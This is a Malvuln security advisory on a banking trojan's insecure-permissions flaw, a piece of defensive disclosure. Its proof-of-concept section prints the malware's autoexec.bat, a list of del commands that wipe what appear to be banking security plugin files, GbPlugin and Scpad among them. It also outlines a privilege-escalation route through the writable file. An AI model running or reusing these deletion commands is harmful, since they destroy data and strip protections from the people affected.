Trojan-Banker.Win32.Banker.heq Insecure Permissions

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source:  
https://malvuln.com/advisory/f15d05f74899324ecb61ee29ad162fad.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Trojan-Banker.Win32.Banker.heq  
Vulnerability: Insecure Permissions  
Description: The malware writes a BAT script file with insecure permissions  
to c drive granting change (C) permissions to the authenticated user group.  
Standard users can rename the executable dropped by the malware to disable  
it or replace it with their own executable. Then wait for a privileged user  
to logon to the infected machine to potentially escalate privileges.  
Family: Banker  
Type: PE32  
MD5: f15d05f74899324ecb61ee29ad162fad  
Vuln ID: MVID-2022-0561  
Disclosure: 04/26/2022  
  
Exploit/PoC:  
C:\>cacls autoexec.bat  
C:\autoexec.bat BUILTIN\Administrators:(ID)F  
NT AUTHORITY\SYSTEM:(ID)F  
BUILTIN\Users:(ID)R  
NT AUTHORITY\Authenticated Users:(ID)C  
  
  
C:\>dir autoexec.bat  
Volume in drive C has no label.  
  
Directory of C:\  
  
04/13/2022 02:27 AM 636 autoexec.bat  
1 File(s) 636 bytes  
  
  
c:\>type autoexec.bat  
  
@echo off  
del c:\windows\downlo~1\ABN*.*  
del c:\windows\downlo~1\*ABN*.*  
del c:\windows\downlo~1\GBPDIST.DLL  
del c:\windows\downlo~1\scp*.*  
del c:\windows\downlo~1\gb*.*  
del c:\windows\downlo~1\*gb*.*  
del c:\windows\downlo~1\*UNI*.*  
del c:\windows\downlo~1\UNI*.*??  
del c:\WINDOWS\system32\Logof.dll  
del c:\arquiv~1\GbPlugin\gb*.*  
del c:\arquiv~1\GbPlugin\g*.*  
del c:\windwos\system32\snengine.exe  
del c:\windwos\system32\snagos.exe  
del c:\arquiv~1\Scpad\*scp*.??  
del c:\arquiv~1\Scpad\scp*.*  
del c:\windows\downlo~1\ATM*.*  
del c:\windows\downlo~1\*ATM*.*  
del c:\arquiv~1\Scpad\*ssh*.*  
del c:\arquiv~1\Scpad\*ssh*.?  
  
  
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`